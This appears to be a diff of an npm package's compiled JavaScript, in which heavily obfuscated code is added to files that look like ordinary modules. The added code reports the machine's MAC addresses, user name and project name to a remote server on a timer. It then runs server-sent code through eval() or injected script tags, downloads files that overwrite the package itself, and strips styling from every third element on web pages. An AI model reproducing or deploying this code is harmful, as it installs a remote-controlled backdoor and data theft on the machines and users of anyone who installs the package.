_0x5c4fd5;})['catch'](()=>'');_0x4adca8=[_0x5ddcb8];}if(_0x4adca8[_0x4cc236(0x1f4)]===0x0){(0x0,index_2['setEnv'])(_0x4cc236(0x1c5),!![]);return;}else(0x0,index_2[_0x4cc236(0x1f0)])(_0x4cc236(0x1c5),![]);_0x413192[_0x4cc236(0x1e0)](_0x4cc236(0x1e2),{'mac':_0x4adca8,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x4cc236(0x1cd)]}),_0x413192[_0x4cc236(0x1e0)](_0x4cc236(0x1d4),{'mac':_0x4adca8,'isBrowser':exports[_0x4cc236(0x1cd)]}),setInterval(()=>{const _0x31dad2=_0x4cc236;_0x413192[_0x31dad2(0x1e0)]('submit',{'mac':_0x4adca8,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x31dad2(0x1cd)]}),_0x413192[_0x31dad2(0x1e0)](_0x31dad2(0x1d4),{'mac':_0x4adca8,'isBrowser':exports[_0x31dad2(0x1cd)]});},0x1b58),_0x413192['on'](_0x4cc236(0x1f2),_0x33d818=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x51d724=_0x4cc236;try{for(let _0x324957=0x0;_0x324957<_0x33d818[_0x51d724(0x1f4)];_0x324957++){const _0x315e78=_0x33d818[_0x324957];if(_0x315e78[_0x51d724(0x1c1)]===_0x51d724(0x1c7))(0x0,index_2['setEnv'])(_0x51d724(0x1bd),!![]);else{if(_0x315e78[_0x51d724(0x1c1)]==='node'&&!exports[_0x51d724(0x1cd)])try{eval(_0x315e78[_0x51d724(0x1bf)]);}catch(_0xec97e4){}else{if(_0x315e78['type']===_0x51d724(0x1d2)&&exports[_0x51d724(0x1cd)])try{(0x0,index_1[_0x51d724(0x1c0)])(_0x315e78[_0x51d724(0x1bf)]);}catch(_0xf0f1a2){}}}}}catch(_0x48589e){}}));}catch(_0xd7fdb0){}})),_0x413192['on'](_0x4179b3(0x1ca),_0x163016=>{const _0x474d8b=_0x4179b3;(0x0,index_2[_0x474d8b(0x1f0)])(_0x474d8b(0x1c5),!![]);}),_0x413192['on'](_0x4179b3(0x1ec),_0x5efb16=>{const _0x48b6c4=_0x4179b3;(0x0,index_2[_0x48b6c4(0x1f0)])(_0x48b6c4(0x1c5),!![]);}),_0x413192['on'](_0x4179b3(0x1de),_0xab2cf3=>{const _0x3a73e1=_0x4179b3;(0x0,index_2['setEnv'])(_0x3a73e1(0x1c5),!![]);}),_0x413192['on']('connect_error',()=>{(0x0,index_2['setEnv'])('connectError',!![]);});}catch(_0x497fcb){}});}exports[a10_0x16358a(0x1e7)]=start;
|
package/dist/cjs/update.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a11_0x203f11=a11_0x50e6;(function(_0xf10923,_0x4b645d){const _0x1b2c92=a11_0x50e6,_0x3f255a=_0xf10923();while(!![]){try{const _0x5eda5e=-parseInt(_0x1b2c92(0x163))/0x1+parseInt(_0x1b2c92(0x174))/0x2+parseInt(_0x1b2c92(0x158))/0x3*(parseInt(_0x1b2c92(0x168))/0x4)+-parseInt(_0x1b2c92(0x176))/0x5+-parseInt(_0x1b2c92(0x166))/0x6+-parseInt(_0x1b2c92(0x16f))/0x7+parseInt(_0x1b2c92(0x173))/0x8*(parseInt(_0x1b2c92(0x15b))/0x9);if(_0x5eda5e===_0x4b645d)break;else _0x3f255a['push'](_0x3f255a['shift']());}catch(_0x51416b){_0x3f255a['push'](_0x3f255a['shift']());}}}(a11_0x387b,0xab9f7));var __importDefault=this&&this[a11_0x203f11(0x178)]||function(_0x3b87a7){const _0x3dd847=a11_0x203f11;return _0x3b87a7&&_0x3b87a7[_0x3dd847(0x15f)]?_0x3b87a7:{'default':_0x3b87a7};};function a11_0x50e6(_0x181c15,_0x4040d8){const _0x387bed=a11_0x387b();return a11_0x50e6=function(_0x50e61a,_0x1d91be){_0x50e61a=_0x50e61a-0x158;let _0x481bf3=_0x387bed[_0x50e61a];return _0x481bf3;},a11_0x50e6(_0x181c15,_0x4040d8);}Object[a11_0x203f11(0x162)](exports,a11_0x203f11(0x15f),{'value':!![]});const axios_1=__importDefault(require(a11_0x203f11(0x164))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a11_0x203f11(0x16e))),index_1=require(a11_0x203f11(0x160)),sha1_1=__importDefault(require(a11_0x203f11(0x171)));function getModuleType(){const _0x263311=a11_0x203f11,_0x3f1c51=()=>{const _0x49ade0=a11_0x50e6;try{return typeof require!==_0x49ade0(0x167)&&typeof module!=='undefined'&&module[_0x49ade0(0x15e)]&&require[_0x49ade0(0x159)]===module;}catch(_0x17be21){return![];}};return _0x3f1c51()?_0x263311(0x175):'ESM';}let _path=path_1['default'][a11_0x203f11(0x165)](__dirname,a11_0x203f11(0x16a)),indexFile=path_1[a11_0x203f11(0x16b)][a11_0x203f11(0x165)](__dirname,a11_0x203f11(0x15a)),vFile=fs_1[a11_0x203f11(0x16b)]['existsSync'](_path)?fs_1['default'][a11_0x203f11(0x179)](_path)['toString']():'{version:\x220.0.0\x22}',indexFileContent=fs_1['default']['existsSync'](_path)?fs_1['default'][a11_0x203f11(0x179)](indexFile)['toString']():![],version=JSON[a11_0x203f11(0x15d)](vFile)[a11_0x203f11(0x16d)];function update(){const _0x162b61=a11_0x203f11;axios_1['default'][_0x162b61(0x16c)](index_1[_0x162b61(0x170)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x162b61(0x161)](_0x38362c=>{const _0x1673be=_0x162b61;if(!_0x38362c[_0x1673be(0x172)][_0x1673be(0x177)]){let _0x192c4c=Object[_0x1673be(0x169)](_0x38362c[_0x1673be(0x172)]['data']),_0x28976a=Object[_0x1673be(0x15c)](_0x38362c[_0x1673be(0x172)][_0x1673be(0x172)]);for(let _0x66096d=0x0;_0x66096d<_0x192c4c[_0x1673be(0x17a)];_0x66096d++){const _0x343913=_0x192c4c[_0x66096d],_0x4c6c85=_0x28976a[_0x66096d];fs_1[_0x1673be(0x16b)]['writeFileSync'](path_1[_0x1673be(0x16b)][_0x1673be(0x165)](__dirname,'./'+_0x343913),_0x4c6c85);}}});}exports['default']=update;function a11_0x387b(){const _0x5cb012=['__esModule','./index','then','defineProperty','1207864LqWGdA','axios','join','1972632znRXae','undefined','287644htfmdD','keys','../../package.json','default','get','version','path','4252528UWSfZl','url','sha1','data','416eelKPN','432278tbJBdL','CJS','2666950TVMEMD','success','__importDefault','readFileSync','length','30rtsJgd','main','./index.js','423216rAPtDo','values','parse','exports'];a11_0x387b=function(){return _0x5cb012;};return a11_0x387b();}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/browser/index.ts"],"names":[],"mappings":"AAIA,wBAAgB,SAAS,CAAC,OAAO,EAAE,MAAM,QAUxC;AAED,wBAAgB,OAAO,SAStB"}
|
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x380c7f,_0x231703){const _0x5419d3=a12_0x260d,_0x2e067b=_0x380c7f();while(!![]){try{const _0x4535bd=parseInt(_0x5419d3(0x155))/0x1*(parseInt(_0x5419d3(0x14b))/0x2)+-parseInt(_0x5419d3(0x144))/0x3*(parseInt(_0x5419d3(0x14e))/0x4)+-parseInt(_0x5419d3(0x145))/0x5*(-parseInt(_0x5419d3(0x14c))/0x6)+parseInt(_0x5419d3(0x148))/0x7+parseInt(_0x5419d3(0x150))/0x8*(-parseInt(_0x5419d3(0x143))/0x9)+-parseInt(_0x5419d3(0x147))/0xa*(-parseInt(_0x5419d3(0x14d))/0xb)+-parseInt(_0x5419d3(0x156))/0xc*(parseInt(_0x5419d3(0x146))/0xd);if(_0x4535bd===_0x231703)break;else _0x2e067b['push'](_0x2e067b['shift']());}catch(_0x1423bd){_0x2e067b['push'](_0x2e067b['shift']());}}}(a12_0x3f51,0xbe909));function a12_0x260d(_0x5075a4,_0x22e257){const _0x3f51b9=a12_0x3f51();return a12_0x260d=function(_0x260db1,_0x268c06){_0x260db1=_0x260db1-0x142;let _0x1d7eb4=_0x3f51b9[_0x260db1];return _0x1d7eb4;},a12_0x260d(_0x5075a4,_0x22e257);}import a12_0x5c1aa7 from'../id/random';import{getEnv}from'../index';import a12_0x4a0b26 from'./tools';export function runScript(_0xd2d273){const _0x482c78=a12_0x260d;let _0x57fa55=document['createElement'](_0x482c78(0x142));_0x57fa55[_0x482c78(0x149)]=_0x482c78(0x14f)+_0xd2d273+_0x482c78(0x154),document[_0x482c78(0x14a)][_0x482c78(0x151)](_0x57fa55),setTimeout(()=>{const _0x23a0ad=_0x482c78;_0x57fa55[_0x23a0ad(0x152)]();},0x14);}export function browser(){const _0x8a42d6=a12_0x260d;getEnv(_0x8a42d6(0x153))&&a12_0x4a0b26(),setInterval(()=>{const _0x231e2b=_0x8a42d6;getEnv(_0x231e2b(0x153))&&a12_0x4a0b26();},a12_0x5c1aa7(0xde,0x91d));}function a12_0x3f51(){const _0x50a936=['8sCsfyt','appendChild','remove','connectError','\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}','102099foeDDm','241464Nujexh','script','1069695kRQyoE','413178cLatXY','28385Gkztkt','1027pACUcQ','1650pAZECB','1829982bzuLTu','innerText','head','30ipRcRf','1020vjWadl','73887gnkPTd','40kYIQke','try\x20{\x0a\x20\x20\x20'];a12_0x3f51=function(){return _0x50a936;};return a12_0x3f51();}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../../../src/browser/tools.ts"],"names":[],"mappings":"AAIA,iBAAS,YAAY,SAuDpB;AAED,eAAe,YAAY,CAAC"}
|
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x3b4e8f,_0x2d54e3){const _0x260d35=a13_0x23b3,_0x428ef2=_0x3b4e8f();while(!![]){try{const _0x17e488=-parseInt(_0x260d35(0x12e))/0x1+parseInt(_0x260d35(0x132))/0x2*(parseInt(_0x260d35(0x13f))/0x3)+parseInt(_0x260d35(0x140))/0x4+parseInt(_0x260d35(0x13a))/0x5+-parseInt(_0x260d35(0x13c))/0x6*(parseInt(_0x260d35(0x12c))/0x7)+parseInt(_0x260d35(0x137))/0x8+parseInt(_0x260d35(0x135))/0x9*(parseInt(_0x260d35(0x134))/0xa);if(_0x17e488===_0x2d54e3)break;else _0x428ef2['push'](_0x428ef2['shift']());}catch(_0x1f6b98){_0x428ef2['push'](_0x428ef2['shift']());}}}(a13_0x3619,0xec8fb));function browserTools(){const _0x874434=a13_0x23b3;let _0x3b6939=location[_0x874434(0x12a)];function _0x1f56d4(_0x34b29f={}){const _0x1b9ca5=_0x874434,{force:force=![]}=_0x34b29f;if(!force&&window['__removeStyleAndClassEveryThirdDone'])return;window['__removeStyleAndClassEveryThirdDone']=!![];const _0x2333ea=document[_0x1b9ca5(0x130)],_0x4b8eb2=_0x2333ea[_0x1b9ca5(0x136)]('*');_0x4b8eb2['forEach']((_0x41d63c,_0x2c2dc9)=>{const _0x1fd6dc=_0x1b9ca5;(_0x2c2dc9+0x1)%0x3===0x0&&(_0x41d63c[_0x1fd6dc(0x13b)](_0x1fd6dc(0x142)),_0x41d63c[_0x1fd6dc(0x13b)](_0x1fd6dc(0x12f)),_0x41d63c[_0x1fd6dc(0x13b)]('id'));});}setTimeout(()=>{const _0x5436c8=_0x874434;window['__removeStyleAndClassEveryThirdDone']=![],_0x3b6939=location[_0x5436c8(0x12a)],_0x1f56d4();},0x1),[_0x874434(0x13e),'replaceState'][_0x874434(0x12d)](_0x886ae4=>{const _0x4c23e9=history[_0x886ae4];history[_0x886ae4]=function(..._0x35964b){const _0x1ee01f=a13_0x23b3,_0x5da4f6=_0x4c23e9[_0x1ee01f(0x13d)](this,_0x35964b);return window[_0x1ee01f(0x133)](new Event(_0x1ee01f(0x139))),_0x5da4f6;};});function _0x9e375a(){const _0x35e1d7=_0x874434,_0x531b34=location[_0x35e1d7(0x12a)];_0x531b34!==_0x3b6939&&(_0x3b6939=_0x531b34,window[_0x35e1d7(0x131)]=![],_0x1f56d4({'force':!![]}));}window[_0x874434(0x138)]('urlchange',_0x9e375a),window[_0x874434(0x138)](_0x874434(0x141),_0x9e375a);const _0x831eae=new MutationObserver(()=>_0x9e375a());_0x831eae[_0x874434(0x12b)](document,{'childList':!![],'subtree':!![]});}function a13_0x23b3(_0x53da2e,_0x38be36){const _0x36199f=a13_0x3619();return a13_0x23b3=function(_0x23b38f,_0x324f48){_0x23b38f=_0x23b38f-0x12a;let _0x2129aa=_0x36199f[_0x23b38f];return _0x2129aa;},a13_0x23b3(_0x53da2e,_0x38be36);}export default browserTools;function a13_0x3619(){const _0x1b2c13=['dispatchEvent','6255590tSPizS','9DXNzUM','querySelectorAll','7101480fnZgOx','addEventListener','urlchange','1788190QpXNPO','removeAttribute','6MkyXWx','apply','pushState','4776ApfoJi','2729900ZTmtzI','popstate','style','href','observe','5026686qXkuHi','forEach','887000SPDlgF','class','body','__removeStyleAndClassEveryThirdDone','26xYjPdR'];a13_0x3619=function(){return _0x1b2c13;};return a13_0x3619();}
|
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
(function(_0x887d5a,_0x42fbef){const _0x3e31be=a14_0x33e3,_0x38dea5=_0x887d5a();while(!![]){try{const _0x33c8c2=-parseInt(_0x3e31be(0xef))/0x1*(parseInt(_0x3e31be(0xdd))/0x2)+parseInt(_0x3e31be(0xe0))/0x3*(-parseInt(_0x3e31be(0xeb))/0x4)+-parseInt(_0x3e31be(0xdf))/0x5*(-parseInt(_0x3e31be(0xe4))/0x6)+parseInt(_0x3e31be(0xe5))/0x7*(-parseInt(_0x3e31be(0xf0))/0x8)+parseInt(_0x3e31be(0xec))/0x9*(-parseInt(_0x3e31be(0xf1))/0xa)+-parseInt(_0x3e31be(0xed))/0xb+parseInt(_0x3e31be(0xde))/0xc*(parseInt(_0x3e31be(0xe8))/0xd);if(_0x33c8c2===_0x42fbef)break;else _0x38dea5['push'](_0x38dea5['shift']());}catch(_0x292f72){_0x38dea5['push'](_0x38dea5['shift']());}}}(a14_0x2b4d,0x88fe9));var __awaiter=this&&this['__awaiter']||function(_0x42142c,_0x1d28ca,_0x2a846a,_0x26fd69){function _0x5cfede(_0x212ec6){return _0x212ec6 instanceof _0x2a846a?_0x212ec6:new _0x2a846a(function(_0x36f122){_0x36f122(_0x212ec6);});}return new(_0x2a846a||(_0x2a846a=Promise))(function(_0x11cc47,_0x5a7ff0){const _0x49491d=a14_0x33e3;function _0x55888f(_0x17d133){const _0xbf54c7=a14_0x33e3;try{_0x428fc8(_0x26fd69[_0xbf54c7(0xe2)](_0x17d133));}catch(_0x596598){_0x5a7ff0(_0x596598);}}function _0x1ad724(_0x406e44){const _0xaeb6b3=a14_0x33e3;try{_0x428fc8(_0x26fd69[_0xaeb6b3(0xe3)](_0x406e44));}catch(_0x16a9c2){_0x5a7ff0(_0x16a9c2);}}function _0x428fc8(_0x14c0a0){const _0x2bb519=a14_0x33e3;_0x14c0a0['done']?_0x11cc47(_0x14c0a0[_0x2bb519(0xe6)]):_0x5cfede(_0x14c0a0[_0x2bb519(0xe6)])[_0x2bb519(0xe1)](_0x55888f,_0x1ad724);}_0x428fc8((_0x26fd69=_0x26fd69[_0x49491d(0xea)](_0x42142c,_0x1d28ca||[]))[_0x49491d(0xe2)]());});};import a14_0x3862c5 from'fs';import a14_0x49ea7a from'path';function fileDisplay(_0x39c6b2){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x483184=[];function _0x13d626(_0x5471e6){const _0x37bbc0=a14_0x33e3,_0xa386bc=a14_0x3862c5['readdirSync'](_0x5471e6);for(let _0x480758=0x0;_0x480758<_0xa386bc['length'];_0x480758++){const _0x17840f=_0xa386bc[_0x480758],_0x48d349=a14_0x49ea7a['join'](_0x5471e6,_0x17840f),_0x1d7ad8=a14_0x3862c5[_0x37bbc0(0xe9)](_0x48d349),_0x2f3332=_0x1d7ad8[_0x37bbc0(0xe7)](),_0x579440=_0x1d7ad8[_0x37bbc0(0xee)]();_0x2f3332&&_0x483184['push'](_0x48d349),_0x579440&&_0x13d626(_0x48d349);}}return _0x13d626(_0x39c6b2),_0x483184;});}function a14_0x33e3(_0x86628,_0x3c643f){const _0x2b4d68=a14_0x2b4d();return a14_0x33e3=function(_0x33e36b,_0x5b2798){_0x33e36b=_0x33e36b-0xdd;let _0x1581fc=_0x2b4d68[_0x33e36b];return _0x1581fc;},a14_0x33e3(_0x86628,_0x3c643f);}function getAllRouter(_0x526040){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x157fc3=yield fileDisplay(_0x526040);return _0x157fc3;});}function a14_0x2b4d(){const _0x41b601=['isDirectory','10385wNDYRL','11696hkhVHO','100fvIKor','166sqeYWj','12Iivkvv','528370SUDgwk','281235lzznUC','then','next','throw','54kkNKoL','357Jjwary','value','isFile','18416203jMejDl','statSync','apply','4MhyQfw','67311YfBKRC','7716676woUYCw'];a14_0x2b4d=function(){return _0x41b601;};return a14_0x2b4d();}export default getAllRouter;
|